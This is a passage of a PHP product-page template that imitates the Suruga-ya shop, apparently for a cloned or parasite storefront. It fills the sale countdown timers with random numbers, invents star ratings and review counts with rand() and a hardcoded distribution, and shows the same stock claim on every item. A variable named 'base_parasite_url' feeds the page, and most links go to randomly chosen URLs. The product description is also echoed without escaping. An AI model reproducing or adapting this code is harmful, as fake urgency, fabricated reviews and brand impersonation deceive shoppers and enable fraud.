link','eventAction':'hamburger_menu','eventLabel':this.href});\">Wearables<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Smartphone<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">accessories<\/a> <\/li>\n    <\/ul>\n<\/li>\n<li class=\"has-sub\">\n    <div class=\"grid-submenu\">\n        <span data-target=\"#homeSubmenu7\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"><\/span>\n        <a onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">Home appliances, cameras, AV equipment<\/a>\n    <\/div>\n    <ul class=\"collapse list-unstyled\" id=\"homeSubmenu7\" data-parent=\".sidebar_menu\">\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">AV equipment<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Cameras and Camcorders<\/a> <\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Home Appliances<\/a> <\/li>\n\n    <\/ul>\n<\/li>\n<li class=\"has-sub\">\n    <div class=\"grid-submenu\">\n        <span data-target=\"#homeSubmenu8\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"><\/span>\n        <a onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">Books and Comics<\/a>\n    <\/div>\n    <ul class=\"collapse list-unstyled\" id=\"homeSubmenu8\" data-parent=\".sidebar_menu\">\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">books<\/a><\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Comics<\/a><\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">magazine<\/a><\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Brochure<\/a><\/li>\n    <\/ul>\n<\/li>\n<li class=\"has-sub\">\n    <div class=\"grid-submenu\">\n        <span data-target=\"#homeSubmenu9\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"><\/span>\n        <a onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">Doujinshi<\/a>\n    <\/div>\n    <ul class=\"collapse list-unstyled\" id=\"homeSubmenu9\" data-parent=\".sidebar_menu\">\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Doujinshi<\/a><\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Doujin Software<\/a><\/li>\n        <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">Miscellaneous goods and accessories<\/a><\/li>\n    <\/ul>\n<\/li>\n<li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\">BL<\/a><\/li>\n        <\/ul>\n    <\/div>\n    <div class=\"sidebar_wrap top_line6\">\n        <div class=\"head_item_menu padT12\">Those who want to sell<\/div>\n        <ul class=\"list-unstyled components padT0\">\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\">Safe purchase<\/a> <\/li>\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\">Easy purchase<\/a> <\/li>\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\">First-time users<\/a> <\/li>\n        <\/ul>\n    <\/div>\n    <div class=\"sidebar_wrap top_line6\">\n        <div class=\"head_item_menu padT12\">Store Information<\/div>\n        <ul class=\"list-unstyled components padT0\">\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\">List of real stores<\/a> <\/li>\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\">Friendly Shop Store List<\/a> <\/li>\n        <\/ul>\n    <\/div>\n    <div class=\"sidebar_wrap top_line6\">\n        <div class=\"head_item_menu padT12\">Event Information<\/div>\n        <ul class=\"list-unstyled components padT0\">\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\">Event site<\/a> <\/li>\n        <\/ul>\n    <\/div>\n    <div class=\"sidebar_wrap top_line6\">\n        <div class=\"head_item_menu padT12\">Official SNS<\/div>\n        <div class=\"sidebar_social_list mgnB8 mgnT8 grid-3\" style=\"font-weight: bold;\">\n            <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\">\n                <div class=\"d-flex flex-column align-items-center text-center\"><img src=\"https:\/\/cdn.suruga-ya.jp\/pics_webp\/X_black_radius.png.webp\" loading=\"lazy\" width=\"40px\" height=\"40px\"> <\/div>\n            <\/a>\n            <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"gtag('event', 'footer', {'event_category': 'internal link','event_label': this.href});\">\n                <div class=\"d-flex flex-column align-items-center text-center\"><img src=\"https:\/\/cdn.suruga-ya.jp\/pics_webp\/X_black_radius.png.webp\" loading=\"lazy\" width=\"40px\" height=\"40px\"><span style=\"color: #111111; font-size: 10px; padding-top: 5px; font-family: Arial, 'Noto Sans', sans-serif;\">Hobby Updates<\/span><\/div>\n            <\/a>\n            <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\">\n                <div class=\"d-flex flex-column align-items-center text-center\"><img src=\"https:\/\/cdn.suruga-ya.jp\/pics_webp\/Instagram_Glyph_Gradient.png.webp\" loading=\"lazy\" width=\"40px\" height=\"40px\"> <\/div>\n            <\/a>\n            <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\">\n                <div class=\"d-flex flex-column align-items-center text-center\"> <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/social_facebook.svg\" loading=\"lazy\" width=\"40px\" height=\"40px\"> <\/div>\n            <\/a>\n            <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\">\n                <div class=\"d-flex flex-column align-items-center text-center\"> <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/social_youtube.svg\" loading=\"lazy\" width=\"40px\" height=\"40px\"> <\/div>\n            <\/a>\n            <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\">\n                <div class=\"d-flex flex-column align-items-center text-center\"> <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/bluesky-1.svg\" loading=\"lazy\" width=\"40px\" height=\"40px\"> <\/div>\n            <\/a>\n        <\/div>\n    <\/div>\n    <div class=\"sidebar_wrap\">\n        <ul class=\"list-unstyled mt-3\">\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\">A2 Information<\/a> <\/li>\n            <li> <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\">Recruitment Information<\/a> <\/li>\n        <\/ul>\n    <\/div>\n<\/div>\n<\/nav>\n<div id=\"dismiss\"><img src=\"https:\/\/cdn.suruga-ya.jp\/pics_webp\/common\/pc\/close_sidebar.svg\"> <\/div>\n<div class=\"overlay\"><\/div>\n\n<div class=\"container_suru padB40 flex-grow-1\">\n<div data-drupal-messages-fallback=\"\" class=\"hidden\"><\/div>\n\n<div class=\"row\">\n    <div class=\"col-4\" style=\"min-height: 24px;\">\n        <div id=\"tag-product-head\" style=\"display: block;\">\n            <span class=\"tag_product red-head\">New<\/span>\n            <span class=\"tag_product purple-head\">Arrivals\/Restock<\/span>\n        <\/div>\n    <\/div>\n<\/div>\n\n<div class=\"row\">\n  <div class=\"col-4\">\n    <?php if (!empty($data['images'])): ?>\n    <div class=\"product-images-gallery\">\n        <a href=\"<?php echo htmlspecialchars($data['images'][0]); ?>\" rel=\"lightbox\">\n            <img src=\"<?php echo htmlspecialchars($data['images'][0]); ?>\" alt=\"<?php echo htmlspecialchars($data['title']); ?>\" style=\"width:100%; border: 1px solid #ccc;\">\n        <\/a>\n        <div class=\"thumbnails\" style=\"margin-top:10px;\">\n        <?php foreach($data['images'] as $index => $image): ?>\n            <?php if($index > 0): ?>\n            <a href=\"<?php echo htmlspecialchars($image); ?>\" rel=\"lightbox\">\n                <img src=\"<?php echo htmlspecialchars($image); ?>\" alt=\"<?php echo htmlspecialchars($data['title']); ?>\" style=\"width: 24%; border: 1px solid #ccc;\">\n            <\/a>\n            <?php endif; ?>\n        <?php endforeach; ?>\n        <\/div>\n    <\/div>\n    <?php endif; ?>\n  <\/div>\n  \n  <div class=\"col-8 padL32\">\n     <div class=\"zoom_window\"><\/div>\n     <div class=\"d-flex justify-content-start\">\n        <div class=\"w-70 pr-5\">\n            <h1 class=\"h1_title_product\" id=\"item_title\"><?php echo htmlspecialchars($data['title']); ?><\/h1>\n            <div id=\"naviplus-review-list-5\" class=\"mb-4\">\n                <div class=\"navi-review-review-rate navi-review-rate-and-total-count1\">\n                    <div class=\"navi-review-average-star\">\n                        <span class=\"navi-review-rate\" data-rate=\"<?php echo $data['rating']['score']; ?>\">\n                            <?php for ($i = 1; $i <= 5; $i++) { echo '<img src=\"https:\/\/rvw.snva.jp\/images\/widget\/star-' . ($i <= floor($data['rating']['score']) ? 'on' : 'off') . '.png\">&nbsp;'; } ?>\n                        <\/span>\n                        &nbsp;<?php echo $data['rating']['score']; ?> <span>(<?php echo $data['rating']['count']; ?> items)<\/span>\n                    <\/div>\n                <\/div>\n            <\/div>\n\n            <div class=\"flash_sale d-flex justify-content-between border\"><div class=\"d-flex align-items-center justify-content-start flash_sale_title\"><img src=\"https:\/\/cdn.suruga-ya.jp\/pics_webp\/common\/pc\/flash_sale.png.webp\" alt=\"flash sale icon\" width=\"24px;\">Limited Time Sale<\/div><div class=\"d-flex justify-content-between align-items-center flash_sale_time\"><div class=\"padR12\">Until the end<\/div><div class=\"d-flex justify-content-between time_sale\"><div class=\"hours\" id=\"countdown-hours\"><?php echo str_pad(rand(0, 23), 2, '0', STR_PAD_LEFT); ?><\/div><div class=\"minutes\" id=\"countdown-minutes\"><?php echo str_pad(rand(0, 59), 2, '0', STR_PAD_LEFT); ?><\/div><div class=\"seconds\" id=\"countdown-seconds\"><?php echo str_pad(rand(0, 59), 2, '0', STR_PAD_LEFT); ?><\/div><\/div><\/div><\/div>\n\n            <div class=\"price_group mb-2\">\n                <div class=\"item-price form-inline\">\n                    <div class=\"form-check align-items-baseline\">\n                        <input value=\"0001\" checked=\"\" id=\"0001-2\" name=\"grade\" type=\"radio\" class=\"form-check-input\" data-price-label=\"New\" data-price-value=\"<?php echo htmlspecialchars($data['price']['new']); ?>\">\n                        <label class=\"mgnB0 d-block\" for=\"0001-2\">New&nbsp;\n                            <span class=\"text-price-detail price-buy\"><?php echo $data['price']['new']; ?> (tax included)<\/span>\n                            <span class=\"tag_product blue-light\"><span>Number of stocks: 1<\/span><\/span>\n                        <\/label>\n                    <\/div>\n                <\/div>\n                <div class=\"item-price form-inline\">\n                    <div class=\"form-check align-items-baseline\">\n                        <input value=\"0001\" id=\"0001-1\" name=\"grade\" type=\"radio\" class=\"form-check-input\" data-price-label=\"Used\" data-price-value=\"<?php echo htmlspecialchars($data['price']['used']); ?>\">\n                        <label class=\"mgnB0 d-block\" for=\"0001-1\">Used&nbsp;\n                            <span class=\"text-price-detail price-buy\"><?php echo $data['price']['used']; ?> (tax included)<\/span>\n                            <span class=\"tag_product purple\"><span>New Arrivals and Restocks<\/span><\/span>\n                            <span class=\"tag_product blue-light\"><span>Number in stock: 1<\/span><\/span>\n                        <\/label>\n                    <\/div>\n                <\/div>\n            <\/div>\n            \n            <?php if ($data['price_difference'] > 0): ?>\n            <div class=\"product_note mgnB0\"><p class=\"mgnB0\">$<?php echo htmlspecialchars($data['price_difference']); ?> cheaper than the new price!!<\/p><\/div>\n            <?php endif; ?>\n            \n            <div class=\"mgnT12\"><div class=\"ticket_red\"><span class=\"shipping_comission_fee_text\">Free shipping for purchases over $99 ( <a href=\"<?php echo htmlspecialchars($data['random_link']); ?>\" style=\"color: #007bff\">Details<\/a> ) <br>Free cash-on-delivery fees for purchases over $99<\/span><\/div><\/div>\n            \n            <div class=\"link-group mgnT12\">\n                <ul class=\"list-unstyled mb-0 list-p3\"><li><a href=\"<?php echo htmlspecialchars($data['random_link']); ?>\" class=\"link_underline\">Other shops (12) <span class=\"text-red\">$99 ~<\/span><\/a><\/li><\/ul>\n            <\/div>\n            \n            <div class=\"mt-3 offer_store_list\"><div class=\"link-group all_stores more_store\"><div class=\"more_less\" style=\"\">See all stores<\/div><\/div><\/div>\n            \n            <div class=\"mt-3 note_info\">Please note that the sales price and tax displayed may differ between online and in-store. Also, the product may be out of stock in-store.<\/div>\n        <\/div>\n        \n        <div class=\"w-280px\">\n<div class=\"panel_buy mgnB20\" id=\"cart\">\n    <div class=\"price_choise price_group selected_price\">\n        <?php if (isset($data['price']['new'])): ?>\n            New&nbsp; <span class=\"text-price-detail price-buy\"><?php echo $data['price']['new']; ?><\/span>\n        <?php elseif (isset($data['price']['used'])): ?>\n            Used&nbsp; <span class=\"text-price-detail price-buy\"><?php echo $data['price']['used']; ?><\/span>\n        <?php endif; ?>\n    <\/div>\n    \n    <input type=\"hidden\" name=\"amount_max\" value=\"1\" class=\"amount_max\">\n    \n    <form class=\"cart add-cart\" method=\"post\" action=\"<?php echo htmlspecialchars($data['random_link']); ?>\">\n        <input type=\"hidden\" name=\"rem\" value=\"<?php echo $data['management_number']; ?>000\">\n        <input type=\"hidden\" name=\"branch_number\" value=\"0001\">\n        <input type=\"hidden\" name=\"return_url\" value=\"<?php echo htmlspecialchars(basename($request_uri)); ?>\">\n        <input type=\"hidden\" name=\"product_name\" value=\"<?php echo htmlspecialchars($data['title']); ?>\">\n        <input type=\"hidden\" name=\"product_image\" value=\"<?php echo isset($data['images'][0]) ? $data['images'][0] : $data['default_image']; ?>\">\n        <input type=\"hidden\" name=\"product_price\" value=\"<?php echo isset($data['price']['new']) ? $data['price']['new'] : $data['price']['used']; ?>\">\n        <input type=\"hidden\" name=\"product_url\" value=\"<?php echo buildProductUrl($data['management_number'], $data['title']); ?>\">\n        <input type=\"hidden\" name=\"product_id\" value=\"<?php echo $data['management_number']; ?>\">\n        <input type=\"hidden\" name=\"product_category\" value=\"<?php echo htmlspecialchars(end($data['categories'])); ?>\">\n        <input type=\"hidden\" name=\"product_brand\" value=\"<?php echo htmlspecialchars($data['brand']); ?>\">\n        <input type=\"hidden\" name=\"product_currency\" value=\"<?php echo $data['currency']; ?>\">\n        \n        <div class=\"product_amounts d-flex justify-content-start align-items-center mb-3\">\n            <span class=\"padR12\">quantity<\/span>\n            <div class=\"border rounded bg-white\">\n                <select id=\"quantity_selection\" class=\"bg-white border-0 form-control-sm\">\n                    <option value=\"1\">1 point<\/option>\n                <\/select>\n            <\/div>\n        <\/div>\n        <input type=\"hidden\" name=\"amount\" value=\"1\" id=\"amount\">\n\n        <div class=\"mgnT12\">\n            <button type=\"submit\" class=\"btn btn-warning btn-lg btn-block btn_buy cart1\" id=\"btn_add_cart\">\n                <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/add_cart.svg\" alt=\"cart icon\" class=\"mgnR8\" width=\"26px\" style=\"vertical-align: middle;\">\n                Add to Cart\n            <\/button>\n            <button type=\"button\" class=\"btn btn-light btn-lg btn-block btn_wishlist mgnT12\" onclick=\"addToFavorite(<?php echo $data['management_number']; ?>)\">\n                <img src=\"https:\/\/cdn.suruga-ya.jp\/pics\/common\/pc\/star_whishlist.svg\" alt=\"favorite icon\" class=\"mgnR8\" width=\"22px\" style=\"vertical-align: text-bottom;\">\n                Add to favorites list\n            <\/button>\n        <\/div>\n    <\/form>\n<\/div>\n<\/div>\n     <\/div>\n  <\/div>\n<\/div>\n\n<div class=\"row\" id=\"item_detailInfo\">\n  <div class=\"col-12\">\n     <h3 class=\"border-top mt-5 pt-4 mgnB12\" style=\"color:#000;\">Product details<\/h3>\n     <table class=\"table table-striped tbl_product_info\">\n        <tbody>\n        <tr>\n            <th class=\"text-right\">Management number<\/th>\n            <td><?php echo htmlspecialchars($data['management_number'] + ID_OFFSET); ?><\/td>\n            <th class=\"text-right\">Release Date<\/th>\n            <td><?php echo htmlspecialchars($data['release_date']); ?><\/td>\n            <th class=\"text-right\">List Price<\/th>\n            <td><?php echo htmlspecialchars($data['list_price']); ?><\/td>\n            <th class=\"text-right\">Model Number<\/th>\n            <td><?php echo htmlspecialchars($data['model_number'] + ID_OFFSET); ?><\/td>\n        <\/tr>\n        <tr>\n            <th class=\"text-right\" width=\"100px\">Category<\/th>\n            <td colspan=\"9\">\n                <ol class=\"breadcrumb chevron-double bg-transparent p-0\">\n                    <?php foreach ($data['breadcrumb_links'] as $link): ?>\n                    <li class=\"breadcrumb-item\">\n                        <a class=\"link_underline\" href=\"<?php echo htmlspecialchars($link['url']); ?>\"><?php echo htmlspecialchars($link['name']); ?><\/a>\n                    <\/li>\n                    <?php endforeach; ?>\n                <\/ol>\n            <\/td>\n        <\/tr>\n        <\/tbody>\n     <\/table>\n  <\/div>\n  \n  <div class=\"col-12\">\n   \n    <div>\n        <?php echo $data['description']; ?>\n    <\/div>\n    <div class=\"product-detail-ex\">\n        <?php if (!empty($data['images'])): ?>\n            <?php foreach ($data['images'] as $image): ?>\n            <p class=\"img-wrapper\" style=\"display:inline-block; width: 49%;\">\n                <a href=\"<?php echo htmlspecialchars($image); ?>\" rel=\"lightbox\">\n                    <img class=\"lazyload\" data-src=\"<?php echo htmlspecialchars($image); ?>\" alt=\"<?php echo htmlspecialchars($data['title']); ?>\" style=\"width:100%\">\n                <\/a>\n            <\/p>\n            <?php endforeach; ?>\n        <?php endif; ?>\n    <\/div>\n    \n    <hr>\n  <\/div>\n<\/div>\n\n<div class=\"row\">\n    <div class=\"col-12\">\n        <?php\nif (!function_exists('render_related_product_card')) {\n    function render_related_product_card($product, $base_parasite_url, $rank = 0) {\n        $images = array();\n        if (!empty($product['images'])) {\n            if (is_string($product['images'])) {\n                $images = explode(',', trim($product['images'], '{}'));\n            } elseif (is_array($product['images'])) {\n                $images = $product['images'];\n            }\n        }\n        $first_image = isset($images[0]) ? $images[0] : '\/\/cdn.suruga-ya.jp\/database\/images\/no_photo.jpg';\n        $product_url = buildProductUrl($product['id'], isset($product['title']) ? $product['title'] : null);\n        $price = '$' . number_format((float)(isset($product['price']) ? $product['price'] : (isset($product['price_current']) ? $product['price_current'] : 0)), 2);\n        $rating_score = rand(30, 50) \/ 10.0;\n        $rating_count = rand(5, 50);\n        $card_html = '\n        <div class=\"related-product-card\" style=\"position:relative;\">\n            ' . ($rank > 0 ? '<span class=\"rank-badge rank-' . $rank . '\">' . $rank . '<\/span>' : '') . '\n            <a href=\"' . $product_url . '\">\n                <div class=\"related-product-image\">\n                    <img src=\"' . htmlspecialchars($first_image) . '\" alt=\"' . htmlspecialchars($product['title']) . '\" loading=\"lazy\">\n                <\/div>\n                <h2 class=\"related-product-title\">' . htmlspecialchars($product['title']) . '<\/h2>\n                <div class=\"related-product-rating\">\n        ';\n        for ($i = 1; $i <= 5; $i++) {\n            $card_html .= '<span class=\"star\">' . ($i <= floor($rating_score) ? '\u2605' : '\u2606') . '<\/span>';\n        }\n        \n        $card_html .= '\n                    <span class=\"count\">(' . $rating_count . ')<\/span>\n                <\/div>\n                <div class=\"related-product-price\">' . htmlspecialchars($price) . '<\/div>\n            <\/a>\n        <\/div>';\n        \n        return $card_html;\n    }\n}\n?>\n<?php if (!empty($data['leaf_category_products'])): ?>\n<div class=\"related-products-section\">\n    <h2 class=\"mt-5 mgnB12\" style=\"color:#000;font-size:1.25rem;font-weight:600;padding-bottom:8px;border-bottom:1px solid #dee2e6;\">Bestseller ranking<\/h2>\n    <h3 class=\"related-products-header\"><?php echo htmlspecialchars($data['leaf_category']); ?><\/h3>\n    <div class=\"related-products-grid\">\n        <?php foreach ($data['leaf_category_products'] as $idx => $product): ?>\n            <?php echo render_related_product_card($product, $data['base_parasite_url'], $idx + 1); ?>\n        <?php endforeach; ?>\n    <\/div>\n    <div class=\"see-more-link\">\n        <a href=\"<?php echo htmlspecialchars($data['random_link']); ?>\">See the same product from <?php echo htmlspecialchars($data['leaf_category']); ?><\/a>\n    <\/div>\n<\/div>\n<?php endif; ?>\n<?php if (!empty($data['parent_category_products'])): ?>\n<div class=\"related-products-section\">\n    <h2 class=\"mt-5 mgnB12\" style=\"color:#000;font-size:1.25rem;font-weight:600;padding-bottom:8px;border-bottom:1px solid #dee2e6;\">Customers who viewed this product also viewed<\/h2>\n    <h3 class=\"related-products-header\"><?php echo htmlspecialchars($data['parent_category']); ?><\/h3>\n    <div class=\"related-products-grid\">\n        <?php foreach ($data['parent_category_products'] as $product): ?>\n            <?php echo render_related_product_card($product, $data['base_parasite_url']); ?>\n        <?php endforeach; ?>\n    <\/div>\n    <div class=\"see-more-link\">\n        <a href=\"<?php echo htmlspecialchars($data['random_link']); ?>\">See all the same products<\/a>\n    <\/div>\n<\/div>\n<?php endif; ?>\n<?php if (!empty($data['random_category_products'])): ?>\n<div class=\"related-products-section\">\n    <h3 class=\"related-products-header\"><?php echo htmlspecialchars($data['random_category_name']); ?><\/h3>\n    <div class=\"related-products-grid\">\n        <?php foreach ($data['random_category_products'] as $product): ?>\n            <?php echo render_related_product_card($product, $data['base_parasite_url']); ?>\n        <?php endforeach; ?>\n    <\/div>\n    <div class=\"see-more-link\">\n        <a href=\"<?php echo htmlspecialchars($data['random_link']); ?>\">See all products from <?php echo htmlspecialchars($data['random_category_name']); ?><\/a>\n    <\/div>\n<\/div>\n<?php endif; ?>\n\n<style>\n.related-products-section {\n    margin-top: 40px;\n}\n.related-products-header {\n    font-size: 1.5rem;\n    font-weight: 500;\n    margin-bottom: 20px;\n}\n.related-products-grid {\n    display: grid;\n    grid-template-columns: repeat(6, 1fr);\n    gap: 16px;\n}\n@media (max-width: 1200px) {\n    .related-products-grid {\n        grid-template-columns: repeat(4, 1fr);\n    }\n}\n@media (max-width: 768px) {\n    .related-products-grid {\n        grid-template-columns: repeat(3, 1fr);\n    }\n}\n@media (max-width: 576px) {\n    .related-products-grid {\n        grid-template-columns: repeat(2, 1fr);\n    }\n}\n.related-product-card {\n    border: 1px solid #e5e7eb;\n    border-radius: 8px;\n    padding: 16px;\n    text-align: center;\n    transition: box-shadow 0.2s ease-in-out;\n}\n.related-product-card:hover {\n    box-shadow: 0 4px 12px rgba(0,0,0,0.08);\n}\n.related-product-card a {\n    text-decoration: none;\n    color: #111827;\n}\n.related-product-image img {\n    width: 100%;\n    height: 160px;\n    object-fit: contain;\n    margin-bottom: 16px;\n}\n.related-product-title {\n    font-size: 1rem;\n    line-height: 1.4;\n    font-weight: 400;\n    height: 2.8em; \/* Clamp to 2 lines *\/\n    overflow: hidden;\n    margin-bottom: 10px;\n}\n.related-product-rating {\n    font-size: 0.9rem;\n    display: flex;\n    justify-content: center;\n    align-items: center;\n}\n.related-product-rating .star {\n    color: #f59e0b;\n}\n.related-product-rating .count {\n    color: #6b7280;\n    margin-left: 8px;\n}\n.related-product-price {\n    font-size: 1.125rem;\n    font-weight: 600;\n    color: #ef4444;\n    margin-top: 12px;\n}\n.see-more-link {\n    text-align: right;\n    margin-top: 16px;\n}\n.see-more-link a {\n    color: #337ab7;\n    text-decoration: underline;\n}\n.rank-badge {\n    position:absolute;top:8px;left:8px;width:24px;height:24px;line-height:24px;text-align:center;font-size:13px;font-weight:700;border-radius:4px;z-index:1;color:#fff;border:1px solid #ccc;background:#ccc;\n}\n.rank-1{background:#f5a623;border-color:#f5a623;}\n.rank-2{background:#8c8c8c;border-color:#8c8c8c;}\n.rank-3{background:#b87333;border-color:#b87333;}\n.rank-badge.rank-4,.rank-badge.rank-5{background:#fff;color:#666;border-color:#ccc;}\n<\/style>\n    <\/div>\n<\/div>\n\n<div class=\"row\"><div class=\"col-12\"><h3 class=\"h3_header mt-3 mgnB12 border-top pt-4\">Correction of product information<\/h3><p>If you notice any omissions or errors in the product information on this page, please use the correction request form below.<\/p><a href=\"<?php echo htmlspecialchars(array_pop($data['template_links'])); ?>\" class=\"btn btn-gray btn-icon padT4 padB4 product_edit_btn\"><i class=\"bi bi-pencil-square top3\"><\/i>Correction Request Form<\/a><\/div><\/div>\n\n<div class=\"row mgnB10 border-top pt-4 mt-5\">\n    <div class=\"col-md-12\">\n        <h3 class=\"h3_header mt-3 mgnB12\">Product Review<\/h3>\n        <a class=\"mt-3 mb-3 link_underline d-block\" style=\"margin-bottom: 15px !important;\" href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\">\n            You must be logged in to post a review\n        <\/a>\n        <div id=\"naviplus-review-list-4\" style=\"\">\n            <div class=\"navi-review-wrapper\">\n                <div class=\"navi-review-header\">\n                    <ul class=\"navi-review-header-ul\">\n                        <li class=\"navi-review-item\">\n                            <div class=\"navi-review-item-detail\">\n                                <div class=\"navi-review-item-image-title-rate\">\n                                    <p class=\"navi-review-average-star\">\n                                        <span class=\"navi-review-rate\" data-rate=\"<?php echo $data['rating']['score']; ?>\">\n                                            <?php\n                                            $rating = $data['rating']['score'];\n                                            for ($i = 1; $i <= 5; $i++) {\n                                                if ($i <= floor($rating)) {\n                                                    echo '<img alt=\"star\" src=\"https:\/\/rvw.snva.jp\/images\/widget\/star-on.png\">&nbsp;';\n                                                } else {\n                                                    echo '<img alt=\"star\" src=\"https:\/\/rvw.snva.jp\/images\/widget\/star-off.png\">&nbsp;';\n                                                }\n                                            }\n                                            ?>\n                                        <\/span>\n                                        &nbsp;<?php echo $data['rating']['score']; ?>\n                                        <span>( <a href=\"<?php echo htmlspecialchars(get_next_random_link($data)); ?>\" class=\"navi-review-search-clear-button\"><?php echo $data['rating']['count']; ?> items<\/a> )<\/span>\n                                    <\/p>\n                                <\/div>\n                            <\/div>\n                        <\/li>\n                        <li class=\"navi-review-graph\">\n                            <div class=\"navi-review-graph-inner\">\n                                <ul class=\"navi-review-graph-ul\">\n                                    <li>\n                                        <table>\n                                            <tbody>\n                                                <?php \n                                                \n                                                $rating_distribution = array(\n                                                    5 => 15,\n                                                    4 => 5,\n                                                    3 => 2,\n                                                    2 => 1,\n                                                    1 => 0\n                                                );\n                                                $total_reviews = array_sum($rating_distribution);\n\n                                                for ($star = 5; $star >= 1; $star--): \n                                                    $count = $rating_distribution[$star];\n                                                    $percentage = ($total_reviews > 0) ? ($count \/ $total_reviews) * 100 : 0;\n                                                ?>\n                                                <tr>\n                                                    <th>\n                                                        <span class=\"navi-review-rate\" data-rate=\"<?php echo 